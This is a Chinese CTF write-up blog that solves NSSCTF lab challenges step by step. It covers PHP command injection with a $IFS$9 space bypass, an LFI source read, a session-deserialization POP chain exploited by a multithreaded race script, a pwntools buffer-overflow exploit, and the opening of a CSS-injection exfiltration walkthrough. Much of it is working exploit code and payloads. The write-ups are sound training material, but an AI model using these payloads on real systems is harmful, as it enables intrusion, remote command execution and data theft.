tuuleiのblog

[WUSTCTF 2020]

Wed, 30 Sep 2026 00:00:00 GMT

在线靶场 https://www.nssctf.cn/problem/1988/

2026-09-30_22-25-17.png

什么也没有，目录扫描看看

2026-09-30_22-27-37.png

发现robots.txt

2026-09-30_22-30-20.png

有个fAke_f1agggg.php，访问看看

2026-09-30_22-31-16.png

什么也没有，线索还能在哪里

2026-09-30_22-33-12.png

在/fAke_f1agggg.php的返回包里面看到了/fl4g.php

源代码

1
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
2
<img src="/img.jpg">
3
<?php
4
header('Content-type:text/html;charset=utf-8');
5
error_reporting(0);
6
highlight_file(__file__);
7

8

9
//level 1
10
if (isset($_GET['num'])){
11
    $num = $_GET['num'];
12
    if(intval($num) < 2020 && intval($num + 1) > 2021){
13
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
14
    }else{
15
        die("金钱解决不了穷人的本质问题");
16
    }
17
}else{
18
    die("去非洲吧");
19
}
20
//level 2
21
if (isset($_GET['md5'])){
22
   $md5=$_GET['md5'];
23
   if ($md5==md5($md5))
24
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
25
   else
26
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
27
}else{
28
    die("去非洲吧");
29
}
30

31
//get flag
32
if (isset($_GET['get_flag'])){
33
    $get_flag = $_GET['get_flag'];
34
    if(!strstr($get_flag," ")){
35
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
36
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
37
        system($get_flag);
38
    }else{
39
        die("快到非洲了");
40
    }
41
}else{
42
    die("去非洲吧");
43
}
44
?>

展开收起

这很简单level1，if(intval($num) < 2020 && intval($num + 1) > 2021)，令num=1e4，intval($num)就是1，满足小于2020；num+1=1e4+1=10001，满足大于2021

level2， if ($md5==md5($md5))，一个数的MD5等于它的MD5，只要开头都是0e就行，这样他们都是等于0的，0e215962017→ MD5 为0e291242476940776845150308577824

level3， if(!strstr($get_flag," "))，这是不能有空格的意思可以用$IFS$9代替； $get_flag = str_ireplace("cat", "wctf2020", $get_flag);这个会替换掉cat为wctf2020。 http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&md5=0e215962017&get_flag=ls$IFS$9/看看根目录有什么。

2026-09-30_22-44-02.png

我们在根目录没有发现疑似flag的文件。

http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&md5=0e215962017&get_flag=grep$IFS$9-a$IFS$9-r$IFS$9NSS，全盘搜索NSS

2026-09-30_22-46-32.png

找到flag。

[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争

Sat, 26 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/3098

考点：LFI + php://filter 伪协议读源码 + PHP 反序列化 POP 链 + Session 反序列化 + 条件竞争绕过 cleanup 难度：中等偏上（主要是 session 那部分不太好理解）

0. 一句话速览#

1
include_ LFI 泄源码
2
  -> 发现 POP 链 + session.serialize_handler=php
3
  -> 用上传进度的可控 key 注入 | 和序列化对象
4
  -> 条件竞争绕过 cleanup=On
5
  -> session_start() 反序列化触发 __destruct
6
  -> eval 执行命令
7
  -> 读 /secret/flag

1. 信息收集#

访问根目录：

1
GET / HTTP/1.1
2

3
HTTP/1.1 200 OK
4
Server: Apache/2.4.38 (Debian)
5

6
webshell 就在这里哦,传个cmd参数试试吧<br>

页面诱导你传 cmd 参数，但真传了会怎样？

1
GET /?cmd=1 HTTP/1.1
2

3
HTTP/1.1 302 Found
4
Location: https://www.bilibili.com/video/BV1GJ411x7h7?wy_n0t_Catch_me

直接把你拐去 B 站（BV1GJ411x7h7），纯钓鱼。所以 cmd 参数是假的。

文件	作用
`index.php`	钓鱼首页，`cmd` 参数是幌子
`t00llll.php`	题目给的”工具”页，`include_` 参数存在文件包含漏洞
`Rea1web3he11.php`	真 webshell，里面有反序列化利用链
`flag.php`	假 flag，内容是 B 站 iframe

2. 第一层：LFI 用伪协议读源码#

2.1 工具页源码#

访问 t00llll.php 不带参数，它会 show_source(__FILE__) 把自己贴出来：

1
<?php
2
error_reporting(0);
3

4
if (!isset($_GET['include_'])) {
5
    echo "使用工具的时候,要轻一点哦~";
6
    show_source(__FILE__);
7
}else{
8
    $include_ = $_GET['include_'];
9
}
10
if (preg_match('/sess|tmp/i', $include_)) {
11
    die("可恶涅,同样的方法怎么可能骗到本小姐两次!");
12
}else if (preg_match('/sess|tmp|index|\~|\@|flag|g|\%|\^|\&|data|log/i', $include_)) {
13
    die("呜呜呜,不可以包含这些奇奇怪怪的东西欸!!");
14
}
15
else @include($include_);
16
?>

展开收起

$_GET['include_'] 被直接送进 include()，这就是最经典的本地文件包含（LFI）。

2.2 为什么必须用 php://filter#

如果直接：

1
?include_=Rea1web3he11.php

PHP 会把这个 .php 当代码执行，源码根本不会打印出来。所以要套一层 PHP 内置的过滤流：

1
?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

拆开看：

php://filter —— 过滤流包装器，可以给目标文件套”滤镜”
read=convert.base64-encode —— 读的时候先做一次 Base64 编码
resource=... —— 真正要读的文件

加 Base64 之后，include 拿到的内容是一串 Base64 文本，不以 <?php 开头、不是合法 PHP 代码，PHP 就不执行它，只原样输出，源码就漏出来了。

2.3 过滤规则分析#

被拦的关键字：

1
sess  tmp  index  ~  @  flag  g  %  ^  &  data  log

它们分别堵死了：

sess / tmp —— 不能包含 /tmp/sess_xxx（session 文件）
index —— 不能包含 index.php
flag / g —— 不能直接读 flag 文件（g 同时堵住 log、png、jpg、Big5 等）
data —— 不能用 data:// 伪协议
log —— 不能用日志包含（access.log 等）
~ @ % ^ & —— 各种常见的绕过字符

也就是说：只能老老实实读源码，不能直接包含 session 文件，也不能日志投毒。

2.4 解码拿源码#

访问：

1
http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

得到一大串 Base64，本地解码（PowerShell）：

Terminal window

1
$b = (Invoke-WebRequest "http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php").Content
2
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))

得到真 webshell 源码：

1
<?php
2
error_reporting(0);
3
ini_set('session.serialize_handler', 'php');
4
session_start();
5
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";
6

7
class webshell{
8
    public $caution;
9
    public $execution;
10

11
    function __construct(){
12
        $this -> caution = new caution();
13
    }
14
    function __destruct(){
15
        $this -> caution -> world_execute();   // 反序列化利用点
16
    }
17
    function exec(){
18
        @eval($execution);
19
    }
20
}
21
class caution{
22
    function world_execute(){
23
        echo "Webshell...ERROR..."."<br>";
24
    }
25
}
26
class execution{
27
    public $cmd;
28
    function __construct(){
29
        $this -> cmd = 'echo "即将执行命令:".$cmd;';
30
    }
31
    function world_execute(){
32
        eval($this -> cmd);                    // 任意代码执行
33
    }
34
}
35
?>

展开收起

单独访问 Rea1web3he11.php：

1
y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>

“你可能需要一些工具才能用它” —— 它自己没入口，需要靠 session 反序列化把它”喂”起来。

3. 源码分析：POP 链怎么拼#

先完全忽略 session，只看对象。

3.1 类的结构#

execution 类

1
class execution{
2
    public $cmd;
3
    function world_execute(){
4
        eval($this -> cmd);
5
    }
6
}

只要我们能造出 execution 对象，并把它的 $cmd 设成任意字符串，就等于任意代码执行。

webshell 类

1
class webshell{
2
    public $caution;
3
    function __destruct(){
4
        $this -> caution -> world_execute();
5
    }
6
}

__destruct() 是对象被销毁时自动调用的魔术方法。它内部调用 $this->caution 的 world_execute()。

$this->caution 是什么类型，完全由我们（反序列化数据）决定。

3.2 利用链#

把 webshell 的 caution 属性换成一个 execution 对象：

1
webshell::__destruct()
2
   -> $this->caution(=execution 对象)->world_execute()
3
   -> eval($this->cmd)
4
   -> 任意命令执行

webshell 里的 $execution 属性和 exec() 方法是烟雾弹，不用管。

3.3 构造序列化 payload#

PHP 序列化格式速记：

O:8:"webshell":2:{...} —— 对象，类名 8 字节，2 个属性
s:7:"caution";... —— 字符串，名字 7 字节
N; —— null

最终 payload：

1
O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}

小白最容易踩的坑：长度必须精确。 属性个数、类名长度、字符串字节数，错一个字节 unserialize() 就直接失败（而且 error_reporting(0)，你连报错都看不到）。

最稳的办法：用本地 PHP 生成（本地是 PHP 7.3，和靶机一致）：

1
<?php
2
class webshell{ public $caution; public $execution; }
3
class execution{ public $cmd; }
4

5
$b = new execution();
6
$b -> cmd = 'system("cat /secret/flag");';
7

8
$a = new webshell();
9
$a -> caution = $b;
10

11
echo '|'.serialize($a);

2026-09-26_20-19-25.png

4. 重点科普：session 到底是什么#

这一部分是整道题的核心，慢慢讲。

4.1 session 的生命周期#

HTTP 是无状态的，服务器记不住”你”是谁。session 就是服务器给你发的一张”会员卡”：

第一次请求，PHP 调 session_start()，生成一个随机 ID（PHPSESSID=abc123），通过 Set-Cookie 发给浏览器；
服务器在磁盘上建一个文件，Debian 下通常是 /var/lib/php/sessions/sess_abc123；
之后每次请求浏览器都带上这个 Cookie，PHP 用 ID 找到对应文件；
session_start() 做的事就是：读出文件内容 -> 反序列化 -> 还原成 $_SESSION 数组；
脚本结束（或 session_write_close()）时，把 $_SESSION 数组序列化后写回文件。

关键就在第 4 步：读 session 文件的过程，本质上就是一次 unserialize()。

如果 session 文件里被塞进了恶意序列化字符串，session_start() 一执行，就会在我们自己的服务器上”还原”出攻击者构造好的对象 —— 这就是 session 反序列化。

4.2 两种序列化引擎：php 与 php_serialize#

PHP 把 $_SESSION 存进文件有两种格式，由 session.serialize_handler 决定。

格式一：php（本题 Rea1web3he11.php 强制使用）

1
键名|序列化后的值

例如：

1
username|s:5:"admin";role|s:5:"guest";

读的时候逻辑是：先找第一个 |，左边当键名，右边交给 unserialize()。

格式二：php_serialize（PHP 5.5.4+ 的默认值）

整个 $_SESSION 数组当整体序列化：

1
a:1:{s:8:"username";s:5:"admin";}

两者的核心差别，就是那个 |。 php 格式靠字符串里的 | 当分隔符，而分隔符不是结构层面记录的字节 —— 这就给了我们”伪造分隔符”的空间。

4.3 反序列化触发点不需要额外 include#

注意 Rea1web3he11.php 自己就调了：

1
ini_set('session.serialize_handler', 'php');
2
session_start();

也就是说，访问这个页面本身就会读 session 文件并反序列化，完全不需要用 LFI 去 include 任何东西。

（顺便解释为什么不用 include /tmp/sess_xxx：一是 t00llll.php 明确封了 sess 和 tmp，二是根本没必要。）

4.4 对象什么时候执行代码#

unserialize() 还原对象时，PHP 不会调用 __construct()（构造参数信息在序列化时已经丢了），但对象在脚本结束被销毁时，会自动调用 __destruct()。

所以执行顺序是：

1
session_start()  ->  unserialize 出 webshell 对象
2
脚本输出 "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"
3
脚本结束          ->  webshell::__destruct()
4
                  ->  $this->caution->world_execute()  (caution 是 execution 对象)
5
                  ->  eval($this->cmd)  ->  执行命令

命令输出跟在页面后面一起返回，所以响应里能直接看到结果。

5. 怎么往 session 里写东西：PHP_SESSION_UPLOAD_PROGRESS#

现在的问题变成：页面上没有 $_SESSION['x'] = $_GET['x'] 这种写入口，怎么把 payload 写进 session 文件？

答案是 PHP 的上传进度特性。

5.1 机制#

session.upload_progress.enabled 默认开启。当一个请求满足：

Content-Type: multipart/form-data
表单里有一个字段名等于 session.upload_progress.name（默认 PHP_SESSION_UPLOAD_PROGRESS）

PHP 会自动帮你 session_start()，并往 $_SESSION 塞一个元素：

1
$_SESSION[ "upload_progress_" . <你传的字段值> ] = 进度信息数组

看清楚：key 的前缀固定，后缀完全由我们控制，而且没有任何转义和校验。

5.2 `|` 为什么是致命一击#

把字段值设成：

1
aaa|O:8:"webshell":2:{...}

（或者像本文用的 payload 自带开头 |，字段值就是 |O:8:"webshell":2:{...}）

此时内存里 $_SESSION 的键名就是 upload_progress_aaa|O:8:"webshell":2:{...}。

脚本结束时，PHP 用 php 格式写盘，格式是 键名|值，于是磁盘上的文件变成：

1
upload_progress_aaa|O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}|a:5:{s:10:"start_time";i:1695...;...}
2
                    ^ 从这里开始，php 格式把它当"值"去 unserialize

下次带着同一个 PHPSESSID 访问 Rea1web3he11.php，session_start() 读文件，php 引擎的逻辑是：

找第一个 |；
左边当键名：upload_progress_aaa；
右边当值，丢给 unserialize()：O:8:"webshell":2:{...}|a:5:{...}；
unserialize() 解析完 webshell 对象就停了，后面多余的 |a:5:{...} 被直接无视。

结果：一个完全由我们控制的 webshell 对象，被凭空”还原”进了 $_SESSION。

这就是 session 反序列化里最有名的一个点：因为 php 格式用 | 做分隔符，而 | 出现在我们可控的 key 里，等于我们亲手伪造了分隔符，把后面的内容变成了”值”。

5.3 两种写法，千万不要混#

写法 A（本文用的）：字段值带开头 |

1
PHP_SESSION_UPLOAD_PROGRESS = |O:8:"webshell":2:{...}

写盘后：

1
upload_progress_|O:8:"webshell":2:{...}|a:5:{...}
2
^^^^^^^^^^^^^^^^^ 键名   ^^ 值从这里开始

upload_progress_ 正好当键名，第一个 | 后面就是序列化对象 -> 成功。

写法 B：字段值是 aaa|O:8:...（payload 本身不带 |）

1
upload_progress_aaa|O:8:"webshell":2:{...}|a:5:{...}

同样成立。

错误写法：两个都加，变成 aaa||O:8:...

1
upload_progress_aaa||O:8:...

读的时候值变成 |O:8:...，unserialize() 碰到开头的 | 直接失败，对象不会被还原。

字段值 = 一段能当键名的文字 + 恰好一个 | + 序列化字符串。

5.4 补充：写盘和读盘 handler 不一致也没关系#

写 session 的请求用的是 php.ini 默认的 handler（因为 session_start() 是 PHP 在上传解析阶段自动触发的，早于脚本里的 ini_set），很可能是 php_serialize：

1
a:1:{s:49:"upload_progress_aaa|O:8:"webshell":2:{...}";a:5:{...}}

而读的页面强制用 php handler，它找第一个 |，同样把 O:8:"webshell"... 拿去 unserialize()。

结论：只要”写”和”读”两个阶段的 handler 不一致，键名/文件名里的 | 就能完成注入。本题的 ini_set('session.serialize_handler','php') 正是这个”不一致”的来源。

6. 为什么单发一次不行：cleanup = On 与条件竞争#

如果你老老实实”发一次 POST -> 再发一次 GET”，会发现完全没反应。这是第二个坑。

6.1 单次请求的时间线#

session.upload_progress.cleanup 默认是 On，含义是”POST 数据读完之后，把进度信息从 session 里删掉”。所以：

时刻	发生了什么
(1) 请求进入，开始解析 POST	上传进度处理器自动开 session，把 `upload_progress_aaa
(2) 上传过程中	PHP 会把带进度信息的 session 落盘（这正是”上传进度”功能存在的意义：让另一个请求能读到进度）
(3) 上传结束	cleanup 触发，把 `upload_progress_` 开头的键从 `$_SESSION` 删掉
(4) 脚本结束	把已经被清空的 `$_SESSION` 写回文件 -> 文件里没有 payload

我们注入的键名以 upload_progress_ 开头，所以 cleanup 会把它一起删掉。

唯一能利用的窗口只在步骤 (2)：上传还在进行、payload 已经落盘、cleanup 还没发生。

6.2 竞争思路#

既然窗口很短，那就反复制造窗口 + 反复抢占窗口：

多个线程持续 POST，并故意上传一个 1MB 的文件，把”上传中”的时间拉长，让窗口尽量大；
同时多个线程持续 GET Rea1web3he11.php，每次 GET 都触发 session_start() 反序列化；
只要有一次 GET 正好落在窗口里 -> 反序列化 -> eval -> 命中。

命中后命令输出会直接出现在那个 GET 的响应里，检测到标记字符串就退出并打印结果。

小提示：上传超大文件窗口更长、更容易命中，但会占用目标带宽；1MB 左右配 4 写 4 读是比较舒服的平衡点。

7. 完整 EXP#

7.1 先用本地 PHP 生成 payload#

1
<?php
2
class webshell{ public $caution; public $execution; }
3
class execution{ public $cmd; }
4

5
$b = new execution();
6
$b -> cmd = 'system("cat /secret/flag");';
7

8
$a = new webshell();
9
$a -> caution = $b;
10

11
echo '|'.serialize($a);

把输出的 |O:8:"webshell":... 整串复制出来。每次改命令都要重新生成一次，因为长度会变。

7.2 竞争脚本#

1
import requests, threading, time
2

3
HOST   = "http://node4.anna.nssctf.cn:27400"
4
TARGET = HOST + "/Rea1web3he11.php"   # session_start() 在这里，才是反序列化触发点
5
SESS   = "racecodex001"               # 自定义 PHPSESSID，读写两端都用它
6

7
# 想执行的命令，用 X9X 当分隔标记，方便判断是否命中
8
cmd = 'system("id; echo X9X; ls -la /; echo X9X; cat /secret/flag; echo X9X");'
9

10
# 构造 POP 链序列化字符串，%d 是 cmd 的字节长度，必须精确
11
payload = ('O:8:"webshell":2:{'
12
           's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
13
           's:9:"execution";N;}') % (len(cmd), cmd)
14

15
val = "|" + payload        # 字段值：一段能当 key 的文字（这里由 upload_progress_ 提供）+ 一个 | + 序列化串
16

17
stop = threading.Event()
18
hit  = []
19

20
def writer():
21
    """不停上传：让恶意 payload 反复落盘到 session 文件"""
22
    files = {"f": ("a.txt", b"A" * (1024 * 1024))}   # 1MB，用来拉长窗口
23
    while not stop.is_set():
24
        try:
25
            requests.post(TARGET,
26
                          data={"PHP_SESSION_UPLOAD_PROGRESS": val},   # 注入点
27
                          files=files,
28
                          cookies={"PHPSESSID": SESS},
29
                          timeout=30)
30
        except Exception:
31
            pass
32

33
def reader():
34
    """不停读取：每次 GET 都会触发一次 session_start() 反序列化"""
35
    while not stop.is_set():
36
        try:
37
            r = requests.get(TARGET, cookies={"PHPSESSID": SESS}, timeout=30)
38
            if "X9X" in r.text:
39
                hit.append(r.text)
40
                stop.set()
41
                return
42
        except Exception:
43
            pass
44

45
threads  = [threading.Thread(target=writer, daemon=True) for _ in range(4)]
46
threads += [threading.Thread(target=reader, daemon=True) for _ in range(4)]
47
for t in threads:
48
    t.start()
49

50
deadline = time.time() + 75
51
while time.time() < deadline and not stop.is_set():
52
    time.sleep(1)
53

54
stop.set()
55
time.sleep(2)
56
print(hit[0] if hit else "no hit")

展开收起

实测两三秒内就在响应里看到命令输出。

1
payload = ('O:8:"webshell":2:{'
2
             's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
3
             's:9:"execution";N;}') % (len(cmd), cmd)

这是PHP 序列化字符串，作用是在靶机上”凭空还原”出这样一个对象结构：

webshell 对象 ├─ caution = execution 对象 │ └─ cmd = 我们的 PHP 代码 └─ execution = null（没用，占位）

当 session_start() 读到它并反序列化，脚本结束时 webshell::__destruct() 触发 → 调 caution->world_execute() → eval(cmd)。这就是把”字符串”变成”命令执行”的那一步。

序列化语法的规律（记住这几条就够）：

写法含义 ━━━━━━━━━━━━━━━━━━━━━━━━━ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ O:8:“webshell”:2:{…} 对象（Object），类名 webshell 占 8 个字节，共 2 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:7:“caution”; 字符串（String），名字 caution 占 7 个字节 ───────────────────────── ──────────────────────────────────────────────────────── O:9:“execution”:1:{…} 又嵌一个对象，类名 execution 占 9 字节，1 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:3:“cmd”;s:71:”…”; 属性名 cmd 占 3 字节，值是占 71 字节的字符串 ───────────────────────── ──────────────────────────────────────────────────────── N; null

这些数字全部来自靶机源码里真实的类定义：类名长度、属性个数、属性名长度，一个字都不能改，改了就对不上。

8. 拿到 flag#

第一次竞争命中的响应：

2026-09-26_20-28-27.png

1
y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)
2
X9X
3
total 84
4
drwxr-xr-x   1 root root 4096 ... .
5
drwxr-xr-x   1 root root 4096 ... ..
6
-rwxr-xr-x   1 root root    0 ... .dockerenv
7
drwxr-xr-x   1 root root 4096 ... bin
8
...
9
drwxr-xr-x   2 root root 4096 ... secret       <- 可疑目录
10
...
11
drwxrwxrwt   1 root root 4096 ... tmp
12
...
13
X9X
14
X9X
15
total 32                                            <- web 根目录
16
-rwxrwxrwx 1 root root 772  Rea1web3he11.php
17
-rwxrwxrwx 1 root root 497  flag.php               <- 假 flag
18
-rwxrwxrwx 1 root root 7663 index.php
19
-rwxrwxrwx 1 root root 502  t00llll.php

展开收起

看到 /secret，把命令换成读它，再跑一次竞争：

1
system("ls -la /secret; echo X9X; cat /secret/* 2>/dev/null; echo X9X")

结果：

1
total 12
2
drwxr-xr-x 2 root root 4096 ... .
3
drwxr-xr-x 1 root root 4096 ... ..
4
-rw-r--r-- 1 root root   45 Sep 26 10:30 flag
5
X9X
6
NSSCTF{bdd55422-e537-4fcd-bedf-c2073c3ba5da}

环境变量里的 FLAG=not_flag 是干扰项，flag.php 也是干扰项。

9. 踩坑清单与总结#

?cmd=1 是假的，只会 302 到 B 站；flag.php 也是假的（B 站 iframe）。
读源码必须用 php://filter + base64，否则 include 会执行而不是显示源码。
过滤封了 sess / tmp / index / g / flag / data / log：不能 include /tmp/sess_xxx，不能用 data://、日志包含，只能走 Rea1web3he11.php 自身的 session_start()。
payload 长度必须精确：O: 后的类名长度和属性个数、s: 后的字符串字节数，错一个字节全盘失败，而且 error_reporting(0) 看不到报错。建议本地 serialize() 生成。
cleanup = On 是第二个坑：单发一次 100% 不成功，必须多线程条件竞争；上传 1MB 文件能显著拉长可利用窗口。
字段值里 | 的位置要讲究：要么自带开头 |，要么用 aaa| 前缀，绝对不能两个都加。
核心记忆点：php 格式的 session 用 | 分隔”键名”和”值”，而 PHP_SESSION_UPLOAD_PROGRESS 让键名的后半段完全可控 -> 可控的 | = 可控的 unserialize() 输入 = 反序列化漏洞。

[watevrCTF 2019]Voting Machine

Thu, 24 Sep 2026 00:00:00 GMT

本题在线靶场#

https://www.nssctf.cn/problem/85

1. 漏洞分析#

2026-09-24_20-46-36.png

main函数：
- 程序使用了 gets(v4);。gets 函数不会检查输入长度，会导致栈溢出漏洞。
- 局部变量 v4 的定义是 _BYTE v4[2]; // [rsp+Eh] [rbp-2h]。说明 v4 距离 rbp 只有 2 个字节。

2026-09-24_20-47-33.png

2026-09-24_20-48-08.png

后门函数：
- 在函数列表中存在 super_secret_function。
- 图3显示 super_secret_function 的起始地址为 0x400807。
- 该函数的逻辑是：fopen("/home/ctf/flag.txt", "r")，然后逐字符读取并打印（使用 fgetc 和 putchar），最后调用 exit(0)。这就是我们需要跳转的目标函数。

2. 计算偏移量#

在 64 位程序中，覆盖返回地址的 Payload 结构如下：

填充 v4 到 rbp：
- v4 的起始地址**是 rbp - 2。
- v4 是一个 _BYTE 数组，长度为 2。所以它占用 rbp - 2 和 rbp - 1 这两个字节。
- 保存的 RBP (Saved RBP) 紧挨着它，位于 [rbp]，占用 8 个字节（64位系统）。
- 返回地址 (Return Address) 位于 [rbp + 8]，占用 8 个字节。
覆盖 RBP：64位系统 RBP 占 8 字节。
覆盖返回地址（RET）：劫持程序流程，填入后门函数地址 0x400807，占 8 字节。
总填充长度：2 + 8 = 10 字节。

Payload 构造：b'A' * 10 + p64(0x400807)

3.Exploit编写#

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4

5
# 连接靶机
6
p = remote('node5.anna.nssctf.cn', 21871)
7

8
p.recvuntil(b"Vote: ")
9

10
# 正确的 Payload：10字节填充 + 后门地址
11
payload = b'A' * 10             # 2字节v4 + 8字节Saved RBP = 10
12
payload += p64(0x400807)        # 覆盖返回地址为 super_secret_function
13

14
p.sendline(payload)
15
p.interactive()

展开收起

2026-09-24_20-45-33.png

[安洵杯 2019]CSS Game CSS注入

Wed, 23 Sep 2026 00:00:00 GMT

类型：Web / CSS 注入（CSS Injection）+ XS-Leak 盲注外带难度：中等偏上，但前置知识只用得到 HTML/CSS 的最基础部分

这份 WP 假设你完全没接触过 CSS 注入，所以会先把 HTML、CSS、选择器、优先级这些基础讲明白，然后再一步步把攻击链搭出来，最后给出可以直接跑的脚本和运行日志。

本题在线靶场#

https://www.nssctf.cn/problem/730

1. 一句话总结#

题目把一个用户可控参数拼进了 HTML 的 <link rel="stylesheet" href="..."> 里，于是我们能让受害者的浏览器去加载我们指定的 CSS；flag 放在一个 <input type="hidden" value="..."> 里，我们用属性选择器让「value 以某个前缀开头」成为条件，条件成立就让它去请求一个带标记的 URL，从而一个字符一个字符地把 flag「盲注」出来。

2. 读题：首页在说什么#

访问首页，返回的 HTML是：

1
<html>
2
<head>
3
    <meta charset="utf8" />
4
    <title>CSS Game</title>
5
    <style>
6

7
    </style>
8
</head>
9
<body>
10
<h1>CSS Game</h1>
11
<p>
12
    The flag is in <code>http://127.0.0.1:60000/flag.html</code>
13
</p>
14
<p>
15
    flag.html
16
    <!--
17
        <html>
18
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
19
             <form>
20
                <input name="Email" type="text" value="test">
21
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
22
                <input type="submit" value="提交">
23
            </form>
24
        </html>
25
    -->
26
</p>
27

28
<form action="/crawl.html" method="post">
29
    http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
30
    <input type="submit"/><br><br>
31
</form>
32
</body>
33
</p>

展开收起

2.1 关键信息一：flag 在内网#

1
The flag is in http://127.0.0.1:60000/flag.html

127.0.0.1 是服务器自己的本机地址。也就是说这个页面只有服务器（以及同容器里的爬虫）能访问，我们从外网直接请求 node4.anna.nssctf.cn:60000 是连不上的（实测会连接超时）：

Terminal window

1
curl -v --max-time 8 http://node4.anna.nssctf.cn:60000/flag.html
2
# *   Trying 1.14.71.254:60000...
3
# * Connection timed out after 8010 milliseconds

所以 flag 不可能直接读，必须让服务器里的机器人替我们去看，再把结果想办法传出来。

2.2 关键信息二：有个爬虫接口#

1
<form action="/crawl.html" method="post">
2
    http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
3
    <input type="submit"/>
4
</form>

这说明：向 /crawl.html POST 一个 css 参数，服务器就会派一个无头浏览器去访问

1
http://127.0.0.1:60000/flag.html?css=<你填的东西>

实测返回内容就是 Crawling 四个字：

Terminal window

1
curl -s -i -X POST -d "css=test" http://node4.anna.nssctf.cn:25698/crawl.html
2
# HTTP/1.1 200 OK
3
# Content-Length: 8
4
#
5
# Crawling

（注意：GET 请求 /crawl.html 是 404，只接受 POST。）

2.3 关键信息三：注释里泄露了 flag.html 的真实源码#

1
<!--
2
    <html>
3
        <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
4
         <form>
5
            <input name="Email" type="text" value="test">
6
            <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
7
            <input type="submit" value="提交">
8
        </form>
9
    </html>
10
-->

这就是漏洞点本身。拆开看：

片段	含义
`req.query.css`	我们填进表单的 `css` 参数
`encodeURI(...)`	对这个参数做 URL 编码
`<link rel="stylesheet" href="...">`	把结果当作样式表地址去加载
`value="202cb962ac59075b964b07152d234b70"`	隐藏输入框里的值（这只是模板里的占位值，真实页面里放的是 flag）

结论：我们能控制页面上样式表的 URL → 这就是 CSS 注入（CSS Injection）。

顺带一提，202cb962ac59075b964b07152d234b70 是字符串 123 的 MD5，它是个”示例数据”，用来告诉你”这里本来是放敏感数据的”。

3. 零基础前置知识#

这一节把后面要用到的东西全部讲清楚，可以当成小抄。

3.1 HTML：标签、元素、属性#

HTML 用「标签」描述页面内容：

1
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70">

拆解：

input 是标签名，整个 <input ...> 是一个元素。
元素里 名字="值" 的部分叫属性（attribute）。这里有三个属性：
- name="flag"
- type="hidden"
- value="202cb962ac59075b964b07152d234b70"
重要：属性值会被浏览器原样保存在 DOM 里，所以可以用 CSS 的”属性选择器”去匹配它。这正是我们读取 flag 的入口。

<form> 是表单，可以包含多个输入控件；<input type="submit"> 是提交按钮。 flag.html 里的三个 input 是兄弟关系（同一个 <form> 的孩子节点）。

3.2 `type="hidden"` 是什么，为什么它很麻烦#

type="hidden" 表示这个输入框”隐藏”：用户看不见，也不会被渲染出来。浏览器内置样式表（User Agent Stylesheet）里有类似这么一条规则：

1
input[type="hidden" i] {
2
    display: none !important;
3
}

display: none 的意思是这个元素不产生任何可见的盒子（不渲染）。这对我们非常关键，因为后面会讲到：CSS 只有作用在”真正被渲染的元素”上，才会去下载图片。所以 flag 那个输入框本身是没法直接用来发请求的，得想别的办法（第 6.3 节讲）。

3.3 CSS 是什么，怎么被加载#

CSS（层叠样式表）用来描述页面”长什么样”。最常见两种引入方式：

1
<!-- 内联样式：直接写在 <style> 里 -->
2
<style>
3
  p { color: red; }
4
</style>
5

6
<!-- 外部样式表：从某个 URL 下载 -->
7
<link rel="stylesheet" href="https://example.com/a.css" />

flag.html 用的是第二种。重点：href 指向哪儿，浏览器就会去下载哪儿的 CSS，所以只要我们能控制 href，就能让浏览器执行我们写的任意 CSS。

一条 CSS 规则长这样：

1
选择器 {
2
    属性: 值;
3
    属性: 值;
4
}

例如 p { color: red; } 的意思是：所有 <p> 元素，文字变红色。

3.4 选择器：怎么”选中”元素#

最常用的几种：

写法	名字	含义	例子
`p`	类型选择器	所有 `<p>`	`p { color: red }`
`.cls`	类选择器	`class="cls"` 的元素	`.box { ... }`
`#id`	ID 选择器	`id="xxx"` 的元素	`#main { ... }`
`[name=flag]`	属性选择器	有 `name="flag"` 属性的元素	`input[name=flag] { ... }`

